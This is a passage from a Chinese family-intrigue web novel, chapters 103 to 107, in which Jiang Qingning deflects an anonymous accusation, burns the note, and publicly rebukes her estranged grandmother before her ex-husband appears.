他猛地起身,“立刻传讯给大人,目标已从秘道潜逃,方向不明,请令封锁所有出京水路陆路关卡,尤其是通往江南的方向。” 他眼中寒光闪烁,大人果然料事如神,傅伯谦当真还藏着不为人知的退路。 消息如同插上翅膀,迅速传回秦国公府。 秦休并未歇息,书房灯火通明,接到密报后他脸上并无太多意外,只是眼底寒意又深了一层。 他走到巨大的舆图前,指尖重重地点在江南道那片广袤的水域之上。 “云泽水寨…”他低声自语,声音带着凛冽的杀机。 看来傅伯谦这条老狐狸,是想借着水网密布,易守难攻的云泽水寨蛰伏。 “传令。”秦休转身,声音斩钉截铁,“飞鸽传书江南道按察使司、水师提督衙门,严密封锁所有进出云泽水域的通道。” “着令我们埋在江南的钉子,不惜一切代价查清云泽水寨的底细,尤其是其与傅伯谦呵卫斋可能的关联,若有异动,格杀勿论。” “另加派人手,盯死京城所有可能与傅、卫二人有旧的联系点,尤其是那些前朝遗留的暗桩,宁可错杀,不可放过。” “是!”青冥面色严肃。 一道道命令在夜色中发出,无形的罗网以更快的速度,向着逃亡的猎物笼罩而去。 秦休的目光投向隔壁的方向。 宅院在夜色中沉寂。 秦休走到姜清宁的房门外,指关节抬起,却在即将叩击的瞬间停住,无声地凝视着窗棂。 宁阁,西厢偏院。 “…听说了吗?撷芳园那事儿,邪乎着呢!” “可不是!都说那被抓的女刺客是敌国奸细!啧啧,真是知人知面不知心!” “唉,要我说啊,最可怜的还是咱们府里那位温姑娘…莫名其妙就没了踪影…” “嘘,小声点,我跟你讲,这事儿…没准儿跟咱们大小姐有关!” “啊?不能吧?” “怎么不能?你想想,温姑娘是大小姐好心收留的吧?可偏偏就住在咱们宁阁!” “那敌国奸细早不来晚不来,怎么偏偏就在温姑娘住进来之后,跑去偷那么要紧的图?还就在撷芳园?我听说啊,秦大人跟咱们大小姐走得可近了,那撷芳园的消息指不定就是…” 婆子后面的话被风吹散了,但姜月柔只觉得一股寒气从脚底直冲头顶! 她们在暗示什么?暗示温子怡的身份,姜清宁可能早就知道? 就在这时,门外传来贴身丫鬟小心翼翼的声音:“小姐,您睡了吗,奴婢方才在您妆匣最底下发现了这个…” 姜月柔心头狂跳,猛地掀开被子下床,冲到门边打开门。 丫鬟脸色发白,手里捧着一张折叠起来的、边缘有些磨损的素笺。 “这是什么?”姜月柔一把夺过,展开。 上面是几行陌生的字迹,内容却让她如遭雷击。 姜月柔的手剧烈地颤抖起来,纸张几乎拿捏不住,究竟是谁把这东西送过来的? 她发出一声压抑的尖叫,将手中的素笺狠狠揉成一团,眉眼中呈现出狠戾之色,这背后之人好生恶毒,竟然妄想挑拨离间她和大姐姐! “岂有此理!快,随我去找大姐姐!” 姜月柔捏着纸张的指节骨隐隐泛白,她飞快地穿上鞋子,打开门朝着姜清宁的主院跑去,眉眼间的急切呼之欲出。 “小姐,您穿件披风再走啊,小姐!”丫鬟连忙拿起衣架上的披风,快步地追了上去。 主院。 姜清宁刚打开书房的房门,就看到一道白色的身影出现在眼前,恍惚间还以为是温子怡死后,前来索命来了。 “大姐姐,有人要构陷你我之间的关系!” 姜清宁的心在看清是姜月柔的瞬间落回实处,旋即又被她的话语和手中紧攥的纸团提起。 她面上保持着沉静,是恰到好处的讶异和关切。 “夜深露重,怎么这般慌张跑来,快进来,你方才在说什么构陷?” 姜清宁声音温软,上前两步,自然的抬手替她拂开鬓边因奔跑而散乱的发丝。 姜月柔猛地将揉皱的纸团塞到姜清宁手里,胸口剧烈起伏:“大姐姐你看,不知是谁竟把这污糟东西塞进了我的妆匣底下,用心何其歹毒,这是要离间我们姐妹,要陷你于不义的境地。” 姜清宁接过纸团缓缓展开,借着案上的烛光,目光沉静地扫过那几行刺目的打油诗。 “温氏女,北狄狼,居心叵测藏祸殃。 宁阁主,早知详,借刀杀人计谋长。 廊下语,非无妨,饵抛鱼咬入罗网。 可怜棋,不自量,身陷囹圄徒悲伤。” 每一个字都像淬了毒的针,精准地刺向她与温子怡事件的关联核心。 姜清宁的呼吸几不可察地一滞,眼底深处掠过一丝冰冷的寒芒,但面上迅速浮起被污蔑的薄怒。 她将素笺重重拍在书案上,声音带着被激怒地颤抖:“这是何人竟敢如此血口喷人,编造这等诛心之言,温子怡狼子野心,潜伏府中,窃取机要,证据确凿,与我何干?” “我若早知她是北狄奸细,岂能容她踏入宁阁半步,祸及自身与阖府安危,借刀杀人、抛饵入网、简直一派胡言!” 她转向姜月柔,眼神真挚而带着痛惜,双手用力握住她冰凉的手。 “月柔,你万不可被这等宵小伎俩蒙蔽,这分明是有人见不得我们姐妹和睦,见不得我姜家安稳,温子怡之事,秦大人雷霆手段为国除奸,我们皆是见证…” 第一百零三章祖母到访 “此人写下这等东西,藏于你处,其心可诛。” “一是要挑拨你我,让我们姐妹离心离德,内院生乱;二是要攀诬于我,将温子怡之罪引到我头上。” “其目的恐怕是要搅浑京城这池水,让真正的幕后黑手或同党得以喘息逃脱。” 姜清宁的分析条理清晰,句句切中要害。 姜月柔被她握着手,听着她恳切而愤怒的话语,心中的惊怒和疑虑稍稍被安抚。 她看着姐姐眼中清晰的怒意和被冤枉的委屈,声音带着后怕:“可是…大姐姐,这诗它说的有鼻子有眼,连廊下语都写进去了…恐怕我们已经被监视…” 她指的是温子怡被抓前,确实曾在廊下与姜清宁有过交谈,这细节被写入诗里,显得格外真实。 “廊下语?”姜清宁眉头紧蹙,似乎在努力回忆,“不过是寻常问候罢了,温子怡心思深沉,那日她言语试探,我亦只是敷衍应对,何曾泄露过什么机密?” “这写诗之人,要么是府中有人窥探,捕风捉影,要么就是温子怡的同伙,故意捏造细节,混淆视听,企图报复!” “月柔,你最近可曾得罪过什么人,或是身边有行迹可疑的下人?这纸条能悄无声息放入你妆匣最底下,定非一日之功,必是处心积虑!” 她拿起那张素笺,借着烛光仔细端详纸张质地、墨迹和折痕,指腹在边缘磨损处轻轻摩挲,仿佛在寻找线索,实则心中已对来源有了几分猜测。 就在这时,门外传来轻微的脚步声,紫苏在门口低声道:“小姐,国公府那边有动静了,秦大人下令,封锁所有出京水路陆路关卡,重点盘查通往江南方向的人,另外…飞鸽传书已发往江南道,目标…似乎是云泽水寨。” 紫苏的声音不高,但在寂静的书房里清晰可闻。 姜月柔听得有些茫然,不知这与她们姐妹的危机有何关联。 姜清宁眼神却骤然一凛,握着素笺的手指微微收紧。 秦休的动作好快! 云泽水寨…傅伯谦…这条线果然被盯死了。 她面上不动声色,只对紫苏微微颔首:“知道了,继续留意。” 她转向姜月柔,神色凝重地压低声音:“月柔,你听到了?秦大人正在全力追捕傅伯谦等人,京城内外风声鹤唳。” “这种时候,最怕的就是内院不稳,被人钻了空子。” “这纸条,很可能就是那些丧家之犬或其同伙的反扑,他们奈何不了秦大人,便想从内宅下手制造混乱,让我们自乱阵脚,甚至互相猜忌攻击,他们才好浑水摸鱼,或转移秦大人的视线。” 她将纸条郑重其事地折好,却没有立刻还给姜月柔,而是紧紧攥在自己手心,目光灼灼地看着姜月柔。 “这张纸是大姐的疏忽,竟让歹人将这等污秽之物送到你面前,你且安心回去休息,此事交给姐姐处理。” “姐姐定会查个水落石出,揪出这背后兴风作浪之人,给你一个交代,记住无论发生什么,你我姐妹一体,绝不可中了小人的离间之计。” 姜清宁的话语斩钉截铁,充满了保护者的决心和安抚的力量。 姜月柔看着姐姐坚定而关切的眼神,心中翻腾的惊疑,和寒意终于被一股暖流压了下去。 她重重地点了点头,鼻音浓重:“大姐姐放心,我这就回去,你也要小心。” “去吧,让丫鬟守好门户,夜里警醒些。”姜清宁亲自将一件披风裹在姜月柔身上,送她到门口,看着她带着丫鬟的身影消失在回廊的阴影里。 书房门轻轻合拢,隔绝了内外。 方才的温言安抚从姜清宁脸上褪去,只剩下一片冰封的沉静。 烛火跳跃,在她幽深的眸子里投下明明灭灭的光影。 她缓缓走回书案边,重新展开那张被揉皱又抚平的素笺。 指尖划过几行字,唇角勾起一丝极冷的弧度。 “哼,倒是…有几分眼力。” 她将素笺凑近跳跃的烛火,橘黄的火苗贪婪地舔舐上纸角,迅速蔓延,吞噬那些诛心的文字。 墨迹在火焰中扭曲、焦黑,最终化作一小撮灰烬,无声地飘落在冰冷的砚台里。 姜清宁静静地,看着那最后一点火星熄灭,书房里弥漫开淡淡的焦糊气息。 翌日。 一辆半旧不新的青帷小车,直直堵在了宁阁簇新的朱漆大门正中央。 车帘掀开,伸出来一只枯瘦如柴的手,紧紧攥着一根通体乌黑,顶端镶嵌着沉重暗金龙头的拐杖。 那位在郊外庄子清修整整八年,对长子长媳乃至孙女不闻不问的姜老太太,此刻被面色紧绷的仆妇颤巍巍地搀扶下来。 她身上穿着深褐色的衣裳,掩不住那股经年累月积下的混合着佛堂线香与陈腐箱笼的暮气。 姜清宁正立在前院的青石小径上,手中一把小巧的银剪,精准地剪去魏紫花枝上一段枯萎的侧枝。 枯枝落地,门外传来嚣张的呼喊。 “姜清宁!”居高临下的声音,穿透清晨微凉的空气,直直砸进庭院,“给我出来,你这孽障!” 姜清宁执剪的手几不可察地顿了一下,指尖传来银器冰凉的触感。 她缓缓转过身,将银剪递给身后瞬间白了脸、几乎要瑟瑟发抖的小丫鬟。 姜清宁抬步,步履平稳地走向门口,脸上带上温婉的浅淡笑意,仿佛迎的是寻常长辈,而非门外那浑身散发着寒气的清修祖母。 “祖母安好。”姜清宁在门槛内三步处站定,微微屈膝,行了个挑不出错的礼。 她的声音不高不低,恰好能让门外聚集起来的、探头探脑的街坊四邻听个大概。 “孙女不知祖母今日驾临,未曾远迎,还请祖母恕罪,只是……” 姜清宁抬眼,目光平静地掠过那堵在正中的马车:“祖母的车驾,似乎挡了宁阁的门庭,孙女新迁此地,门户尚未立稳,这般阵仗,恐惹人非议,有损祖母清誉,不如请祖母移步,先进厅中喝杯热茶?” 姜清宁侧身,做出延请的姿态。 第一百零四章硬刚 “少装模作样!”姜老太太那双浑浊却锐利如鹰隼的眼睛,死死盯在姜清宁脸上,仿佛要将姜清宁刺穿。 她手中的龙头拐杖重重一顿,砸在宁阁门前光洁的石阶上,发出沉闷却极具威胁的一声。 “热茶?老身怕喝了你这孽障的茶,折了老身的寿!” 姜老太太的手因用力攥着拐杖而微微颤抖,声音越发拔高,带着撕裂般的沙哑:“我问你!姜家如今四分五裂,二房三房反目成仇,商氏那贱妇竟敢带着月柔闹和离,还攀上了平江侯府!” “你二伯被赌债逼得走投无路,变卖家产,你三叔更是自请分家,弃祖宗基业如敝履!” “偌大一个姜家,顷刻间分崩离析,这桩桩件件,你敢说不是你姜清宁在背后一手策划?不是你处心积虑要毁了姜家才肯罢休?说!” 最后一个说字尖利得几乎破音,裹胁着积攒了八年的怨愤,和此刻倾泻而出的指责。 庭院里静得可怕。 紫苏的抽气声都噎在了喉咙里。 门外的窃窃私语也瞬间消失。 姜清宁看着姜老太太因激动而剧烈起伏的胸口,以及她眼中那毫不掩饰地、针对她一个人的滔天怒火和深重的厌恶。 她心底那片冰封了太久的湖,终于被这突如其来的质问砸开一道裂痕,涌上来的不是委屈,而是尖锐刺骨的讽刺。 姜清宁脸上的浅笑如薄冰般消融,取而代之的是一种近乎漠然的平静。 她目光迎上姜老太太那几乎喷火的眼睛,声音不高,却字字清晰地回荡在骤然死寂的庭院内外: “祖母息怒,孙女愚钝,有一事不明,想先请教祖母。” 姜清宁微微歪了歪头,眼神里没有半分温度:“父兄奉皇命远镇岭南烟瘴之地,迄今已有整整八年,岭南酷暑湿热,毒虫横行,更有凶蛮部族时常袭扰。” “不知这八年里,祖母可曾有过一封家书,问过一句我父亲身子骨可还硬朗?我兄长在那边关险地,可曾受过一次重伤?冬日里岭南湿冷入骨,他们可有炭火取暖?夏日蚊虫肆虐,他们可有避瘴良药?” “祖母太在庄子上清修礼佛,心系佛祖,可曾有一刻……心系过远在万里之外,为姜家挣下最后一点将门荣光的血脉至亲?” 每一个问句,都像一把冰冷的小锤,敲在寂静的空气里,也敲在门外那些竖起耳朵的街坊心坎上。 姜老太太脸上的怒容猛地一滞,像是被什么东西猝不及防地噎住了。 “放肆!”她厉声喝道,龙头拐杖再次重重顿地,仿佛要将那片刻的失态彻底砸碎,“长辈行事,岂容你一个小辈置喙?你父亲镇守边疆,那是他的本分!是朝廷的恩典!何须老身日日挂念?你如今是在质问姜清宁吗?好大的胆子!” 她深吸一口气,声音因急怒而更加尖刻:“休要东拉西扯,我只问你,月柔那孩子她可是你嫡亲的堂妹,小小年纪,竟被你逼得在房中悬梁自尽!” “若非发现得及时……一条活生生的人命,就要断送在你手里,你的心肠是铁石做的吗?姜家怎么就养出你这么个冷血无情的东西!” 提及姜月柔自缢,姜老太太的情绪显然更为激动,身体都有些摇晃,全靠身边的仆妇死死搀扶。 那仆妇也抬起眼,看向姜清宁的目光充满了不加掩饰的谴责和恐惧。 “姜月柔自缢?”姜清宁重复了一遍,语气平淡中带着疑惑,“祖母此言孙女实在惶恐,更是不解,三婶商氏携女和离,并与平江侯府议定亲事,此事京城皆知,月柔妹妹暂居姜清宁宁阁,亦是三婶所托,为的是避开分家时的纷扰,安心待嫁。” “她如今在姜清宁这里,吃穿用度皆是上乘,行动自由,何来被逼自尽一说?祖母莫不是听了什么以讹传讹的风言风语?” 姜清宁微微向前踏了一小步,目光坦荡地直视着姜老太太。 “再者,若论及逼之一字,孙女倒想问问姜老太太,当日三婶商氏跪在您面前,哭诉三叔宠妾灭妻、纵容外室欺辱正妻,意图谋夺她的嫁妆时,祖母您这位口口声声维护姜家血脉的老封君,可曾出过一言拦过一字?” 姜老太太的脸色瞬间变得极其难看,如同打翻了染缸,青红交错。 她显然没料到姜清宁会如此直接地提及三房分家前那摊污糟烂事,更没料到姜清宁会知道得如此详尽。 她嘴唇翕动,想反驳,却一时找不到更有力的说辞。 “至于冷血无情……”姜清宁的声音陡然沉了下去,“孙女不敢忘,更不敢忘八年前,就在这京城,就在姜家老宅那间供奉着祖宗牌位的祠堂偏厅里,二叔和三叔是如何苦口婆心地规劝我,能嫁过去是姜家高攀,更是我姜清宁几世修来的福气!” 姜清宁的目光猛地抬起,撞上姜老太太惊疑不定的眼睛,她的眼中是毫不掩饰的淬了冰的恨意。 “当时祖母您就在屏风后面坐着吧?” 姜清宁逼近一步,字字如刀,清晰地送入姜老太太耳中。 “您听着您的两个儿子,为了攀附安平伯府这棵大树,为了替他们自己谋前程填赌债,是如何不顾骨肉之情,硬要将您的亲孙女往火坑里推!” “那个时候,姜老太太您这位最重家族和睦、血脉亲情的老封君,可曾为我说过哪怕一个字?” “可曾为我掀开那扇屏风站出来,斥责过他们一句?!” 最后一问,如同惊雷炸响在姜老太太耳边。 姜老太太死死盯着姜清宁,浑浊的眼睛里翻涌着难以置信,以及被揭穿的羞恼。 “你……你……”她伸出一根枯瘦的手指,颤抖地指着姜清宁。 “反了!反了天了!孽障!姜家……姜家怎么就养出你这等……这等忤逆不孝、心肠歹毒的……” “姜家?” 姜清宁蓦地打断她歇斯底里的指控,声音陡然拔高,清冷如冰泉击石,带着毫不掩饰的鄙夷,瞬间压过姜老太太的嘶喊。 第一百零五章撑腰的来了 姜清宁缓缓环视一周,目光扫过宁阁崭新的门楣,扫过门外那些惊疑不定的面孔。 最后落回姜老太太,那因愤怒和难堪而扭曲的脸上。 “祖母口中的这个姜家。” 姜清宁的声音不高,却清晰地回荡在每一个角落。 “是指那个纵容二房嗜赌成性,将祖上几代浴血沙场攒下的田庄铺面输得精光,债台高筑,最后不惜变卖祖产,连祖宗祠堂的祭田都敢偷偷典当出去的姜家。” “还是指那个纵容三房宠妾灭妻、贪得无厌的姜家?” “又或者,”姜清宁向前逼近一步,目光如炬,“是指八年来,对远在岭南顶着瘴疠蛮烟,为这个腐朽门楣勉强维系最后一丝体面的长子长孙不闻不问,却能在得知二房三房分崩离析后,立刻坐着马车、气势汹汹地堵在另一个孙女门前,不问青红皂白便以毁家之罪横加指责的这个姜家?!” 门外的议论声再也压不住,嗡嗡地响了起来。 姜老太太的脸色由青转白,再由白转紫,胸膛剧烈起伏。 她手中的拐杖剧烈地颤抖着,几次想抬起指向姜清宁,却因极度的气怒而力不从心。 “你……你血口喷人!污蔑尊长!你……”她徒劳地重复着空洞的斥责。 “污蔑?”姜清宁唇角勾起一抹极冷的弧度,眼中没有丝毫温度, “祖母若觉得是污蔑,大可现在就派人去查,查查二叔名下还有几间铺子几亩田?” “查查三叔那位新抬的爱妾,是不是城西珠宝铺子老板的义女?再查查当年给您治伤的御医诊金是谁付的?” “祖母或许是不知道,您当年病入膏肓,不愿和临行前的长子长孙寻求帮助,却为何突然有神医前来为您诊治?” “那是因为,是父亲临行前恳求我照料您,若非我当时派人去找神医,您或许都熬不过那个冬天。” 姜老太太浑浊的瞳孔猛地收缩,死死地瞪着姜清宁,干涩的嗓子动了动,却再也发不出一个完整的音节。 她显然知道,姜清宁说的,很可能都是真的。 毕竟她当时病了许多时日,都感觉见到那早死的夫君了,却又忽然被救活。 “这个靠着吸食长房血肉、靠着卖女求荣、靠着祖宗余荫苟延残喘,内里早已被蛀空、烂透了的空壳子,” 姜清宁的声音陡然扬至最高,清晰地盖过所有的议论:“也配称姜家?!” 她的声音充斥着决绝,仿佛一道无形的惊雷,在宁阁门前炸开。 绝对的死寂笼罩下来,连门外那些伸长脖子看热闹的街坊,此刻都像被扼住喉咙,大气都不敢出。 姜老太太佝偻的身体猛地向后一仰,布满沟壑的老脸,瞬间褪尽最后一丝血色,变得灰败如槁木。 老嬷嬷连忙扶住站不稳的姜老太太,看着她浑浊的双眼瞪得极大,眼白上布满骇人的红丝,难以置信地钉在姜清宁脸上。 那目光里,再没有先前的盛怒,和居高临下的审判,只剩下一种被彻底扒光所有遮羞布后,深入骨髓的震骇。 “姜清宁,你大不敬,你不孝顺,你顶撞祖母,你……” 她枯瘦的手指,死死抠住身边仆妇的胳膊,指甲几乎要嵌进对方的皮肉里。 老嬷嬷痛得脸色发白,却不敢吭声,只拼命用身体,支撑着老夫人摇摇欲坠的身躯。 “敢问祖母,孙女究竟不敬在哪里?”姜清宁毫不畏惧,冷声反问。 “你……你……”姜老太太嘴唇哆嗦着,企图进行徒劳的挣扎。 她想搬出孝道,搬出宗法,可这些曾经无往不利的武器,此时此刻竟然显得如此苍白可笑。 “孽障!你这天打雷劈的孽障!姜家列祖列宗……列祖列宗在上啊!” “你们睁开眼看看……看看这个不肖子孙!她是要……是要掘了我们姜家的根啊!” 她手中的拐杖疯狂地戳打着脚下的青石板,厉声指责着姜清宁的不孝顺。 姜清宁静静地站在原地,如同一尊冰冷的石像。 看着这位年迈的祖母,歇斯底里,状若疯癫,心中早已波澜不惊。 八年岭南的苦寒,清晞心口那道狰狞的箭疤,祠堂偏厅里那令人窒息的逼迫,商氏跪地哭诉时的绝望…… 一幕幕在眼前闪过,最终都化作眼前人,癫狂扭曲的面孔。 “祖母累了。”姜清宁的声音平静得可怕,“紫苏,送客。” 紫苏坚定道:“是,大小姐。” 她冲到门边,对着门外同样吓傻了的车夫和仆妇,厉声道:“老夫人请上车吧!” 搀扶着老夫人的仆妇此刻也早已面无人色,她生怕再待下去会出大事,也顾不得许多,连忙扶着老夫人上马车。 “滚开!你们…你们这些奴才…反了!都反了!姜清宁你不得好死!” 姜老太太的咒骂声被车厢的布帘隔断,变得模糊不清,只剩下拐杖还在车厢壁上不甘地撞击着,发出令人不悦的噪音。 “住手!你们在干什么?!” 一道娇蛮的声音响起,成功的呵止了在场人的动作,众人不约而同的循声望去。 一辆华贵的马车停在宁阁的外面,数十位婢女跟随在后面,一旁的嬷嬷的上前掀开马车门帘,亲手扶着里面的女子走出来。 姜如意眉眼之中闪过得意,蔑视的扫视一眼站在台阶上的姜清宁。 “死婆子们,没听到本夫人的吩咐吗?还不快住手!我可是安平伯府的伯夫人!” 此话一出,原本怯懦的仆妇,此刻却像是有了救星一般,连忙扶着姜老夫人钻出帘子。 “如意?是我的如意吗?”姜老夫人连忙上前,不顾姜如意厌弃的目光,紧紧地握住她的手。 姜如意脸色瞬间僵硬,敷衍的回答:“祖母,是我。” 一旁的嬷嬷将姜老夫人的手抽出来,毫不犹豫的训斥:“放肆!我们夫人如今身怀有孕,亲家老夫人即便想念夫人,也不能如此冲撞上来,若是让夫人受惊该如何是好?” 第一百零六章新婚两月怀孕三月 “嬷嬷,不可放肆,这位是我的嫡亲祖母。” 姜如意眼中闪过得意的神情,淡漠地对一旁出言训斥的许嬷嬷开口。 姜老夫人眼神闪过惊喜,震惊地开口询问:“如意,你当真是怀了安平伯的孩子?现如今几个月了啊?” “回祖母的话,已经三个多月了,现如今胎像稳固,太医诊脉说我怀的是个男胎呢。” 姜如意说着这话,但眼神控制不住的,朝着姜清宁的身上飘去,其中掩藏着的鄙夷让人无法忽视。 “好!好啊!不愧是我姜家的好孙女!你是个能给姜家撑起门楣的女人!” “祖母说笑了,姜家自然有我父亲兄长撑着,何谈让我一个弱女子撑起家门,不过父兄有事情我自然是会帮衬的。” 姜如意神情矜傲,言语之中闪过得意。 她现如今自从被诊出有孕之后,可谓是被安平伯老夫人,她那个原本颐指气使的婆母,当即转变了态度把她好生生的接了出来,并且态度亲切地送进了清漪院之内。 那个姜清宁从前住着的院子,姜如意嗤笑:“姜清宁,你如今见到远道而来的祖母,怎的不请祖母进去坐坐,反倒是要迫不及待地赶祖母走?” “如意,姜清宁不忠不孝,这种人的院子祖母只是看到一眼,就恨不得自剜双目!”姜老太太眼中闪过嫌恶,撑腰的人就在身后,她此刻充满了底气。 “那祖母看了这么久,怎么还没有自剜双目呢?”姜清宁似笑非笑地开口,将老太太直接噎住。 姜老太太不可置信,抬起颤抖的手指着她,怒声道:“你!你!放肆!姜清宁…你父亲母亲就是如此教导你的吗?” 不等姜清宁回答,里面赫然冲出一道鹅黄、一道淡青色纱裙的妙龄女子,两人满身的朱钗玉饰,环佩叮当悦耳。 她们手中分别抱着一个水盆,毫不犹豫地对着廊下破口大骂的老妇,直接扬手泼了出去,面前的四人没有一个幸免其难的。 “哗啦——!” “啊!”姜如意被泼了满身的脏水,当场扶着许嬷嬷开始狂吐,“呕——yue——!” 许嬷嬷并没有好到哪里去,在安平伯老夫人身边跟着养尊处优多年,还是头一遭遇到这种情况,但是又怕扶着的姜如意意外滑倒,只能忍着反胃的生理情况死死地扶着她。 姜老夫人的话戛然而止,从口中拿出一条烂菜叶子,她感受着身上黏腻的感觉,寻找到两道身影之后怒目而视。 “放肆!姜家就是如此教导你们的吗!” “我呸!你算是个什么东西,那个泥洞里钻出来的老娼妇,竟然敢在我宁阁的门外辱骂我长姐,我今日不把你这满身油性的皮给扒下来,我就不叫姜清晞!” 姜清晞话音落下,毫不犹豫地就要撸起袖子,拎着手中的水盆直接冲上去,对着眼前的几人开始大打出手。 “哎,小妹莫要冲动。”姜月柔连忙揽住她,阴阳怪气地开口,“现在为老不尊的老乞丐多了去,小妹岂能人人都在意,那不是气坏了身子。” “要我说,在我们宁阁的门外挑衅滋事,不若直接报官了当,也让咱们省去了口舌功夫。” 姜月柔似笑非笑,抬手对身后喊道:“来人,把眼前这几个泼皮无赖给我压住,全部送去报官!” 姜清宁嘴角的笑容僵住,这些时日,她就教出来这样的名门淑女吗?怎么一个个的比原本的性子还要霸道? “冷静。”姜清宁上前,分开两人。 姜清宁的手摁在她们的肩上,力道丝毫不轻不重,却让她们难以动弹。 “月柔、清晞、忘了跟你们介绍一下,这位是我们八年未见的祖母。” “祖母?我有祖母吗?”姜清晞茫然地侧眸,她年纪小,当真是不记得了。 姜清晞循着一道要喷火的目光看去,见到那苍老阴狠的目光,以及满身鱼腥味的老妇,眼神灵活地来回巡视。 “阿姐,祖母不是和祖父一样,早就死了吗,原来咱们还有祖母啊,哪个是啊?” 姜清宁侧脸看她,眼神仿佛要看透自家小妹一样。 “拄拐棍的那个。”姜清宁提醒,并未拆穿她。 “原来是她啊。”姜清晞对上姜老太太的目光,哼笑一声,“祖母?不好意思,我不认!” 姜老太太强忍着情绪,一直在等眼前的两人请安,然后她再顺理成章的训斥她们,却没想等来姜清晞这么一句话,气的她险些一个仰倒直接摔过去。 “姜月柔,你也是要这样对待祖母吗?!” “别忘了,祖母从前待你不薄,更是把你和如意一样,当做掌上明珠对待!” 姜月柔被点名,上前行礼:“姜老太太福安,不过您误解了,我如今随母姓为商,虽然还未更改,但已经是众所周知的事情了。” “况且您在意的从来不是我,只不是是您在二房三房的宝贝孙儿罢了,如今我已随母和离,还请姜老太太注意身份。” 姜老太太眼神狠戾:“好!好啊!你们一个两个的,都不把我这个祖母放在心里,那么姜家的族谱留着你们也没用了!” 姜清宁心念一动:“祖母这是要做什么,难不成要把大房和月柔都赶出族谱不成?” “正是!”姜老太太冷哼,“你们不忠不孝,不堪为我姜家子孙后代,我今日便回姜家老宅,让柏舟开宗祠取族谱把你们全部都划出去!” 姜如意眼底划过欣喜,连呕吐都忘了,连忙抓住姜老太太的手腕,殷切道:“祖母,那往后父亲就是姜家的家主了吗?我就是姜家最大的嫡出大小姐?” 姜老太太眼中浮上纵容:“没错,如意,从今往后,姜家再无她们这些人!” “那就多谢祖母善心大发了。”姜清宁点头,带着身边两人行礼。 “多谢姜老太太善心大发!”姜清晞和姜月柔连忙附和,对视的眼中满是笑意。 “你、你们!”姜老太太被这幅态度气得胸膛起伏不定,可偏生话都说出口了,她不得不履行诺言。 姜如意眼中闪过得意:“姜清宁,不做姜家的子孙,你还拿什么来跟我争?” 姜清宁淡漠地扫了她一眼,抬头对着某处讥讽道:“安平伯看了这么久的乐子,怎的还不出来,把你的新婚两月的夫人,接回家去养着三月多的胎呢?” 第一百零七章你别那么凶 姜如意得意的嘴脸猛地一僵,不可置信地回头环视一圈,却发现什么没有,猛然生出的心虚感顿时消失不见。 她神情讥讽地看着眼前人:“姜清宁,你莫不是被祖母的决策,给下的失心疯了不成?” 姜老太太用手中的拐杖敲击地面,声含怒意““哼!痴心妄想!难不成你还想让如意的夫婿出来,为你做主不成?!” 姜如意满意,抚了抚肚子:“祖母,姜清宁如今离了我夫婿,可是悔恨得很呢,但安平伯府的夫人永远都只能有一个,那就是我姜如意。” “好孩子,祖母就知道你才是最争气的孙辈啊。”姜老太太满意地点头。 周围的百姓们不由得面带诧异,低声开始窃窃私语。 “不是,他们有病吧?难不成忘记了姜大小姐,早生下安平伯的嫡长子了吗?” “自古家族之争、子嗣之争、朝堂之争、这些富贵人什么都要争,这种正室和继妻的子嗣,自然是更要争夺的。” “按照这么说,姜如意图什么啊?安平伯就算是人中龙凤又如何,他的身边莺莺燕燕一大群,管不好自己的下半身。” “你不是已经给出答案了,因为他是人中龙凤啊……” 姜清宁眼神含笑,看着拐角的巷子处,清冷如碎冰坠地地质问:“荀臣,既然来了,何必躲着当阴沟里的老鼠?我如今的笑话,看得可还尽兴?” 空气凝固了刹那。 所有人的目光,不自觉地被牵引着,投向姜清宁视线所及的巷口转角处。 一阵令人窒息的沉默,只有风吹过屋檐角铃的细微声响,以及姜如意略显急促的呼吸。 姜如意不相信,脸色僵硬:“怎么可能,他明明是今日休沐太累了,不想出府的啊……” 想到这里,她的脸色骤然间难看起来。 荀臣就是不愿意原谅她的过错!即便是她已经为安平伯府怀上继承人,怀上他荀臣的子嗣! 终于,脚步声响起。 荀臣一步一步从阴影中走出来。 他的身形依旧挺拔,世家公子的风仪仍在,但脸上那份尴尬和难以掩饰的憔悴,却覆盖了曾经的风流倜傥。 “这是安平伯?怎么感觉少了那么多的意气风发?” “府中继妻和侍妾闹腾的了呗,听说他宁愿住在府衙,都不愿意回府了。” “啧……图什么呢?” “可能图继室年轻会闹腾?” 荀臣目光扫过姜清宁愈发显得清绝冷艳的脸庞,如同被烫到般迅速垂下,最终落在他紧紧牵着的荀莫离身上。 荀莫离穿着一身宝蓝色杭绸小袄,脖子上挂着沉甸甸的金锁。 他小脸绷着,打量着眼前剑拔弩张的几人,神情中带着一种被娇纵惯了的矜傲,以及对母亲姜清宁的陌生与疏离。 “夫君!”姜如意失声叫了出来,声音尖锐。 看到荀臣牵着荀莫离出现,尤其是看到荀莫离对荀臣的依赖之情溢于言表,一股强烈的嫉妒和愤怒从姜如意心底腾起,烧得她五脏六腑都疼。 她下意识地抚上平坦的小腹,那里孕育着她和荀臣的孩子,是她的唯一。 不就是儿子吗,她姜如意生得更好! 姜老太太被这突如其来的变故惊住,浑浊的老眼猛地瞪大,但在听到姜如意失神的低喃时,随即布满阴霾。 她重重一顿手中的紫檀木拐杖,发出沉闷的声响,严厉地看向荀臣:“安平伯,您这是何意?” 她心中警铃大作,荀臣在这个节骨眼上带着姜清宁的儿子出现,简直是火上浇油,将她精心策划的局面搅得一团糟! 荀臣微微皱眉,不悦地扫视过去,看得姜老太太眼底满是惊愕,荀臣这是什么意思? 为何会用这种厌恶的眼神看她,她可是长辈! “安平伯,你!”姜老太太张了张嘴。 “呵!”一声毫不掩饰的嗤笑响起,打破现场的寂静。 姜清晞向前跨了一步,直接挡在姐姐姜清宁身前。 她那双酷似其父姜将军的锐利眼眸,燃烧着熊熊怒火,直直劈向荀臣: “我当是谁呢,原来是安平伯府的安平伯啊!” “怎么,堂堂伯爷,如今行事倒学起那见不得光的下水道鼠辈了?只敢缩在暗处鬼鬼祟祟地偷窥?” “是后悔了当初为了男子气概、听你那好娘亲的话和离另娶,如今看到我姐姐离了你反而活得更好,心里头抓心挠肝的难受了?还是专程带着你的好儿子来看我们姐妹的笑话,好回去跟你那新夫人邀功请赏啊?” 她的语速又快又急,字字如刀,句句带刺。 荀臣的脸色在姜清晞毫不留情的斥骂下,由白转红,又由红转青。 握着荀莫离的手不自觉地收紧,力道之大,让毫无防备的荀莫离痛呼出声:“爹……疼!” 荀臣猛地回神松开手,下意识地看向姜清宁,希望从她脸上看到一丝波动,哪怕是一丝愤怒也好。 然而,什么没有。 